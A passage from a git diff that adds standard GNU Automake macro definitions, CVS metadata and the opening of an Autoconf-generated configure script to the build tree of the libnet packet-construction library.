+ [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"])
+])
+
+# Copyright 2001 Free Software Foundation, Inc. -*- Autoconf -*-
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 2
+
+# AM_MAKE_INCLUDE()
+# -----------------
+# Check to see how make treats includes.
+AC_DEFUN([AM_MAKE_INCLUDE],
+[am_make=${MAKE-make}
+cat > confinc << 'END'
+doit:
+ @echo done
+END
+# If we don't find an include directive, just comment out the code.
+AC_MSG_CHECKING([for style of include used by $am_make])
+am__include="#"
+am__quote=
+_am_result=none
+# First try GNU make style include.
+echo "include confinc" > confmf
+# We grep out `Entering directory' and `Leaving directory'
+# messages which can occur if `w' ends up in MAKEFLAGS.
+# In particular we don't look at `^make:' because GNU make might
+# be invoked under some other name (usually "gmake"), in which
+# case it prints its new name instead of `make'.
+if test "`$am_make -s -f confmf 2> /dev/null | fgrep -v 'ing directory'`" = "done"; then
+ am__include=include
+ am__quote=
+ _am_result=GNU
+fi
+# Now try BSD make style include.
+if test "$am__include" = "#"; then
+ echo '.include "confinc"' > confmf
+ if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
+ am__include=.include
+ am__quote="\""
+ _am_result=BSD
+ fi
+fi
+AC_SUBST(am__include)
+AC_SUBST(am__quote)
+AC_MSG_RESULT($_am_result)
+rm -f confinc confmf
+])
+
+# AM_CONDITIONAL -*- Autoconf -*-
+
+# Copyright 1997, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 5
+
+AC_PREREQ(2.52)
+
+# AM_CONDITIONAL(NAME, SHELL-CONDITION)
+# -------------------------------------
+# Define a conditional.
+AC_DEFUN([AM_CONDITIONAL],
+[ifelse([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])],
+ [$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl
+AC_SUBST([$1_TRUE])
+AC_SUBST([$1_FALSE])
+if $2; then
+ $1_TRUE=
+ $1_FALSE='#'
+else
+ $1_TRUE='#'
+ $1_FALSE=
+fi
+AC_CONFIG_COMMANDS_PRE(
+[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then
+ AC_MSG_ERROR([conditional \"$1\" was never defined.
+Usually this means the macro was only invoked conditionally.])
+fi])])
+
+# Like AC_CONFIG_HEADER, but automatically create stamp file. -*- Autoconf -*-
+
+# Copyright 1996, 1997, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+AC_PREREQ([2.52])
+
+# serial 6
+
+# When config.status generates a header, we must update the stamp-h file.
+# This file resides in the same directory as the config header
+# that is generated. We must strip everything past the first ":",
+# and everything past the last "/".
+
+# _AM_DIRNAME(PATH)
+# -----------------
+# Like AS_DIRNAME, only do it during macro expansion
+AC_DEFUN([_AM_DIRNAME],
+ [m4_if(regexp([$1], [^.*[^/]//*[^/][^/]*/*$]), -1,
+ m4_if(regexp([$1], [^//\([^/]\|$\)]), -1,
+ m4_if(regexp([$1], [^/.*]), -1,
+ [.],
+ patsubst([$1], [^\(/\).*], [\1])),
+ patsubst([$1], [^\(//\)\([^/].*\|$\)], [\1])),
+ patsubst([$1], [^\(.*[^/]\)//*[^/][^/]*/*$], [\1]))[]dnl
+])# _AM_DIRNAME
+
+
+# The stamp files are numbered to have different names.
+# We could number them on a directory basis, but that's additional
+# complications, let's have a unique counter.
+m4_define([_AM_STAMP_Count], [0])
+
+
+# _AM_STAMP(HEADER)
+# -----------------
+# The name of the stamp file for HEADER.
+AC_DEFUN([_AM_STAMP],
+[m4_define([_AM_STAMP_Count], m4_incr(_AM_STAMP_Count))dnl
+AS_ESCAPE(_AM_DIRNAME(patsubst([$1],
+ [:.*])))/stamp-h[]_AM_STAMP_Count])
+
+
+# _AM_CONFIG_HEADER(HEADER[:SOURCES], COMMANDS, INIT-COMMANDS)
+# ------------------------------------------------------------
+# We used to try to get a real timestamp in stamp-h. But the fear is that
+# that will cause unnecessary cvs conflicts.
+AC_DEFUN([_AM_CONFIG_HEADER],
+[# Add the stamp file to the list of files AC keeps track of,
+# along with our hook.
+AC_CONFIG_HEADERS([$1],
+ [# update the timestamp
+echo 'timestamp for $1' >"_AM_STAMP([$1])"
+$2],
+ [$3])
+])# _AM_CONFIG_HEADER
+
+
+# AM_CONFIG_HEADER(HEADER[:SOURCES]..., COMMANDS, INIT-COMMANDS)
+# --------------------------------------------------------------
+AC_DEFUN([AM_CONFIG_HEADER],
+[AC_FOREACH([_AM_File], [$1], [_AM_CONFIG_HEADER(_AM_File, [$2], [$3])])
+])# AM_CONFIG_HEADER
+
+# Add --enable-maintainer-mode option to configure.
+# From Jim Meyering
+
+# Copyright 1996, 1998, 2000, 2001 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# serial 1
+
+AC_DEFUN([AM_MAINTAINER_MODE],
+[AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles])
+ dnl maintainer-mode is disabled by default
+ AC_ARG_ENABLE(maintainer-mode,
+[ --enable-maintainer-mode enable make rules and dependencies not useful
+ (and sometimes confusing) to the casual installer],
+ USE_MAINTAINER_MODE=$enableval,
+ USE_MAINTAINER_MODE=no)
+ AC_MSG_RESULT([$USE_MAINTAINER_MODE])
+ AM_CONDITIONAL(MAINTAINER_MODE, [test $USE_MAINTAINER_MODE = yes])
+ MAINT=$MAINTAINER_MODE_TRUE
+ AC_SUBST(MAINT)dnl
+]
+)
+
diff --git a/libnet/autom4te.cache/CVS/Entries b/libnet/autom4te.cache/CVS/Entries
new file mode 100644
index 0000000..1784810
--- /dev/null
+++ b/libnet/autom4te.cache/CVS/Entries
@@ -0,0 +1 @@
+D
diff --git a/libnet/autom4te.cache/CVS/Repository b/libnet/autom4te.cache/CVS/Repository
new file mode 100644
index 0000000..6394238
--- /dev/null
+++ b/libnet/autom4te.cache/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/autom4te.cache
diff --git a/libnet/autom4te.cache/CVS/Root b/libnet/autom4te.cache/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/autom4te.cache/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/autom4te.cache/output.0 b/libnet/autom4te.cache/output.0
new file mode 100644
index 0000000..095481d
--- /dev/null
+++ b/libnet/autom4te.cache/output.0
@@ -0,0 +1,6225 @@
+@%:@! /bin/sh
+@%:@ Guess values for system-dependent variables and create Makefiles.
+@%:@ Generated by GNU Autoconf 2.57.
+@%:@
+@%:@ Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, 2002
+@%:@ Free Software Foundation, Inc.
+@%:@ This configure script is free software; the Free Software Foundation
+@%:@ gives unlimited permission to copy, distribute and modify it.
+## --------------------- ##
+## M4sh Initialization. ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+ emulate sh
+ NULLCMD=:
+ # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+ # is contrary to our usage. Disable this feature.
+ alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+ set -o posix
+fi
+
+# Support unset when possible.
+if (FOO=FOO; unset FOO) >/dev/null 2>&1; then
+ as_unset=unset
+else
+ as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+ LC_TELEPHONE LC_TIME
+do
+ if (set +x; test -n "`(eval $as_var=C; export $as_var) 2>&1`"); then
+ eval $as_var=C; export $as_var
+ else
+ $as_unset $as_var
+ fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+ as_basename=basename
+else
+ as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)$' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+ sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+ /^X\/\(\/\/\)$/{ s//\1/; q; }
+ /^X\/\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ echo "#! /bin/sh" >conf$$.sh
+ echo "exit 0" >>conf$$.sh
+ chmod +x conf$$.sh
+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+ PATH_SEPARATOR=';'
+ else
+ PATH_SEPARATOR=:
+ fi
+ rm -f conf$$.sh
+fi
+
+
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" || {
+ # Find who we are. Look in the path if we contain no path at all
+ # relative or not.
+ case $0 in
+ *[\\/]* ) as_myself=$0 ;;
+ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+ ;;
+ esac
+ # We did not find ourselves, most probably we were run as `sh COMMAND'
+ # in which case we are not to be found in the path.
+ if test "x$as_myself" = x; then
+ as_myself=$0
+ fi
+ if test ! -f "$as_myself"; then
+ { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2
+ { (exit 1); exit 1; }; }
+ fi
+ case $CONFIG_SHELL in
+ '')
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for as_base in sh bash ksh sh5; do
+ case $as_dir in
+ /*)
+ if ("$as_dir/$as_base" -c '
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then
+ $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+ $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+ CONFIG_SHELL=$as_dir/$as_base
+ export CONFIG_SHELL
+ exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+ fi;;
+ esac
+ done
+done
+;;
+ esac
+
+ # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+ # uniformly replaced by the line number. The first 'sed' inserts a
+ # line-number line before each line; the second 'sed' does the real
+ # work. The second script uses 'N' to pair each line-number line
+ # with the numbered line, and appends trailing '-' during
+ # substitution so that $LINENO is not a special case at line end.
+ # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+ # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
+ sed '=' <$as_myself |
+ sed '
+ N
+ s,$,-,
+ : loop
+ s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+ t loop
+ s,-$,,
+ s,^['$as_cr_digits']*\n,,
+ ' >$as_me.lineno &&
+ chmod +x $as_me.lineno ||
+ { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2
+ { (exit 1); exit 1; }; }
+
+ # Don't try to exec as it changes $[0], causing all sort of problems
+ # (the dirname of $[0] is not the place where we might find the
+ # original and so on. Autoconf is especially sensible to this).
+ . ./$as_me.lineno
+ # Exit status is that of the last command.
+ exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+ *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T=' ' ;;
+ *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+ *) ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+ # We could just check for DJGPP; but this test a) works b) is more generic
+ # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+ if test -f conf$$.exe; then
+ # Don't use ln at all; we don't have any links
+ as_ln_s='cp -p'
+ else
+ as_ln_s='ln -s'
+ fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+ as_ln_s=ln
+else
+ as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+ as_mkdir_p=:
+else
+ as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="sed y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="sed y%*+%pp%;s%[^_$as_cr_alnum]%_%g"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" $as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+
+# Name of the host.
+# hostname on some systems (SVR3.2, Linux) returns a bogus exit status,
+# so uname gets run too.
+ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q`
+
+exec 6>&1
+
+#
+# Initializations.
+#
+ac_default_prefix=/usr/local
+ac_config_libobj_dir=.
+cross_compiling=no
+subdirs=
+MFLAGS=
+MAKEFLAGS=
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+# Maximum number of lines to put in a shell here document.
+# This variable seems obsolete. It should probably be removed, and
+# only ac_max_sed_lines should be used.
+: ${ac_max_here_lines=38}
+
+# Identity of this package.
+PACKAGE_NAME=
+PACKAGE_TARNAME=
+PACKAGE_VERSION=
+PACKAGE_STRING=
+PACKAGE_BUGREPORT=
+
+ac_unique_file="src/libnet_build_ip.c"
+# Factoring default headers for most tests.
+ac_includes_default="\
+#include <stdio.h>
+#if HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+#if HAVE_SYS_STAT_H
+# include <sys/stat.h>
+#endif
+#if STDC_HEADERS
+# include <stdlib.h>
+# include <stddef.h>
+#else
+# if HAVE_STDLIB_H
+# include <stdlib.h>
+# endif
+#endif
+#if HAVE_STRING_H
+# if !STDC_HEADERS && HAVE_MEMORY_H
+# include <memory.h>
+# endif
+# include <string.h>
+#endif
+#if HAVE_STRINGS_H
+# include <strings.h>
+#endif
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#else
+# if HAVE_STDINT_H
+# include <stdint.h>
+# endif
+#endif
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif"
+
+ac_default_prefix=/usr
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS build build_cpu build_vendor build_os host host_cpu host_vendor host_os target target_cpu target_vendor target_os INSTALL_PROGRAM INSTALL_SCRIPT INSTALL_DATA PACKAGE VERSION ACLOCAL AUTOCONF AUTOMAKE AUTOHEADER MAKEINFO AMTAR install_sh STRIP ac_ct_STRIP INSTALL_STRIP_PROGRAM AWK SET_MAKE MAINTAINER_MODE_TRUE MAINTAINER_MODE_FALSE MAINT CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT DEPDIR am__include am__quote AMDEP_TRUE AMDEP_FALSE AMDEPBACKSLASH CCDEPMODE RANLIB ac_ct_RANLIB CPP EGREP ENDIANESS LIBNET_VERSION HAVE_PACKET_SOCKET ADDITIONAL_LIBS LIBNET_CONFIG_DEFINES LIBNET_CONFIG_LIBS LIBNET_CONFIG_CFLAGS LIB@&t@OBJS LTLIBOBJS'
+ac_subst_files=''
+
+# Initialize some variables set by options.
+ac_init_help=
+ac_init_version=false
+# The variables have the same names as the options, with
+# dashes changed to underlines.
+cache_file=/dev/null
+exec_prefix=NONE
+no_create=
+no_recursion=
+prefix=NONE
+program_prefix=NONE
+program_suffix=NONE
+program_transform_name=s,x,x,
+silent=
+site=
+srcdir=
+verbose=
+x_includes=NONE
+x_libraries=NONE
+
+# Installation directory options.
+# These are left unexpanded so users can "make install exec_prefix=/foo"
+# and all the variables that are supposed to be based on exec_prefix
+# by default will actually change.
+# Use braces instead of parens because sh, perl, etc. also accept them.
+bindir='${exec_prefix}/bin'
+sbindir='${exec_prefix}/sbin'
+libexecdir='${exec_prefix}/libexec'
+datadir='${prefix}/share'
+sysconfdir='${prefix}/etc'
+sharedstatedir='${prefix}/com'
+localstatedir='${prefix}/var'
+libdir='${exec_prefix}/lib'
+includedir='${prefix}/include'
+oldincludedir='/usr/include'
+infodir='${prefix}/info'
+mandir='${prefix}/man'
+
+ac_prev=
+for ac_option
+do
+ # If the previous option needs an argument, assign it.
+ if test -n "$ac_prev"; then
+ eval "$ac_prev=\$ac_option"
+ ac_prev=
+ continue
+ fi
+
+ ac_optarg=`expr "x$ac_option" : 'x[^=]*=\(.*\)'`
+
+ # Accept the important Cygnus configure options, so we can diagnose typos.
+
+ case $ac_option in
+
+ -bindir | --bindir | --bindi | --bind | --bin | --bi)
+ ac_prev=bindir ;;
+ -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*)
+ bindir=$ac_optarg ;;
+
+ -build | --build | --buil | --bui | --bu)
+ ac_prev=build_alias ;;
+ -build=* | --build=* | --buil=* | --bui=* | --bu=*)
+ build_alias=$ac_optarg ;;
+
+ -cache-file | --cache-file | --cache-fil | --cache-fi \
+ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c)
+ ac_prev=cache_file ;;
+ -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \
+ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*)
+ cache_file=$ac_optarg ;;
+
+ --config-cache | -C)
+ cache_file=config.cache ;;
+
+ -datadir | --datadir | --datadi | --datad | --data | --dat | --da)
+ ac_prev=datadir ;;
+ -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \
+ | --da=*)
+ datadir=$ac_optarg ;;
+
+ -disable-* | --disable-*)
+ ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+ { (exit 1); exit 1; }; }
+ ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+ eval "enable_$ac_feature=no" ;;
+
+ -enable-* | --enable-*)
+ ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+ { (exit 1); exit 1; }; }
+ ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+ case $ac_option in
+ *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+ *) ac_optarg=yes ;;
+ esac
+ eval "enable_$ac_feature='$ac_optarg'" ;;
+
+ -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \
+ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \
+ | --exec | --exe | --ex)
+ ac_prev=exec_prefix ;;
+ -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \
+ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \
+ | --exec=* | --exe=* | --ex=*)
+ exec_prefix=$ac_optarg ;;
+
+ -gas | --gas | --ga | --g)
+ # Obsolete; use --with-gas.
+ with_gas=yes ;;
+
+ -help | --help | --hel | --he | -h)
+ ac_init_help=long ;;
+ -help=r* | --help=r* | --hel=r* | --he=r* | -hr*)
+ ac_init_help=recursive ;;
+ -help=s* | --help=s* | --hel=s* | --he=s* | -hs*)
+ ac_init_help=short ;;
+
+ -host | --host | --hos | --ho)
+ ac_prev=host_alias ;;
+ -host=* | --host=* | --hos=* | --ho=*)
+ host_alias=$ac_optarg ;;
+
+ -includedir | --includedir | --includedi | --included | --include \
+ | --includ | --inclu | --incl | --inc)
+ ac_prev=includedir ;;
+ -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \
+ | --includ=* | --inclu=* | --incl=* | --inc=*)
+ includedir=$ac_optarg ;;
+
+ -infodir | --infodir | --infodi | --infod | --info | --inf)
+ ac_prev=infodir ;;
+ -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*)
+ infodir=$ac_optarg ;;
+
+ -libdir | --libdir | --libdi | --libd)
+ ac_prev=libdir ;;
+ -libdir=* | --libdir=* | --libdi=* | --libd=*)
+ libdir=$ac_optarg ;;
+
+ -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \
+ | --libexe | --libex | --libe)
+ ac_prev=libexecdir ;;
+ -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \
+ | --libexe=* | --libex=* | --libe=*)
+ libexecdir=$ac_optarg ;;
+
+ -localstatedir | --localstatedir | --localstatedi | --localstated \
+ | --localstate | --localstat | --localsta | --localst \
+ | --locals | --local | --loca | --loc | --lo)
+ ac_prev=localstatedir ;;
+ -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \
+ | --localstate=* | --localstat=* | --localsta=* | --localst=* \
+ | --locals=* | --local=* | --loca=* | --loc=* | --lo=*)
+ localstatedir=$ac_optarg ;;
+
+ -mandir | --mandir | --mandi | --mand | --man | --ma | --m)
+ ac_prev=mandir ;;
+ -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*)
+ mandir=$ac_optarg ;;
+
+ -nfp | --nfp | --nf)
+ # Obsolete; use --without-fp.
+ with_fp=no ;;
+
+ -no-create | --no-create | --no-creat | --no-crea | --no-cre \
+ | --no-cr | --no-c | -n)
+ no_create=yes ;;
+
+ -no-recursion | --no-recursion | --no-recursio | --no-recursi \
+ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r)
+ no_recursion=yes ;;
+
+ -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \
+ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \
+ | --oldin | --oldi | --old | --ol | --o)
+ ac_prev=oldincludedir ;;
+ -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \
+ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \
+ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*)
+ oldincludedir=$ac_optarg ;;
+
+ -prefix | --prefix | --prefi | --pref | --pre | --pr | --p)
+ ac_prev=prefix ;;
+ -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*)
+ prefix=$ac_optarg ;;
+
+ -program-prefix | --program-prefix | --program-prefi | --program-pref \
+ | --program-pre | --program-pr | --program-p)
+ ac_prev=program_prefix ;;
+ -program-prefix=* | --program-prefix=* | --program-prefi=* \
+ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*)
+ program_prefix=$ac_optarg ;;
+
+ -program-suffix | --program-suffix | --program-suffi | --program-suff \
+ | --program-suf | --program-su | --program-s)
+ ac_prev=program_suffix ;;
+ -program-suffix=* | --program-suffix=* | --program-suffi=* \
+ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*)
+ program_suffix=$ac_optarg ;;
+
+ -program-transform-name | --program-transform-name \
+ | --program-transform-nam | --program-transform-na \
+ | --program-transform-n | --program-transform- \
+ | --program-transform | --program-transfor \
+ | --program-transfo | --program-transf \
+ | --program-trans | --program-tran \
+ | --progr-tra | --program-tr | --program-t)
+ ac_prev=program_transform_name ;;
+ -program-transform-name=* | --program-transform-name=* \
+ | --program-transform-nam=* | --program-transform-na=* \
+ | --program-transform-n=* | --program-transform-=* \
+ | --program-transform=* | --program-transfor=* \
+ | --program-transfo=* | --program-transf=* \
+ | --program-trans=* | --program-tran=* \
+ | --progr-tra=* | --program-tr=* | --program-t=*)
+ program_transform_name=$ac_optarg ;;
+
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil)
+ silent=yes ;;
+
+ -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb)
+ ac_prev=sbindir ;;
+ -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \
+ | --sbi=* | --sb=*)
+ sbindir=$ac_optarg ;;
+
+ -sharedstatedir | --sharedstatedir | --sharedstatedi \
+ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \
+ | --sharedst | --shareds | --shared | --share | --shar \
+ | --sha | --sh)
+ ac_prev=sharedstatedir ;;
+ -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \
+ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \
+ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \
+ | --sha=* | --sh=*)
+ sharedstatedir=$ac_optarg ;;
+
+ -site | --site | --sit)
+ ac_prev=site ;;
+ -site=* | --site=* | --sit=*)
+ site=$ac_optarg ;;
+
+ -srcdir | --srcdir | --srcdi | --srcd | --src | --sr)
+ ac_prev=srcdir ;;
+ -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*)
+ srcdir=$ac_optarg ;;
+
+ -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \
+ | --syscon | --sysco | --sysc | --sys | --sy)
+ ac_prev=sysconfdir ;;
+ -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \
+ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*)
+ sysconfdir=$ac_optarg ;;
+
+ -target | --target | --targe | --targ | --tar | --ta | --t)
+ ac_prev=target_alias ;;
+ -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*)
+ target_alias=$ac_optarg ;;
+
+ -v | -verbose | --verbose | --verbos | --verbo | --verb)
+ verbose=yes ;;
+
+ -version | --version | --versio | --versi | --vers | -V)
+ ac_init_version=: ;;
+
+ -with-* | --with-*)
+ ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
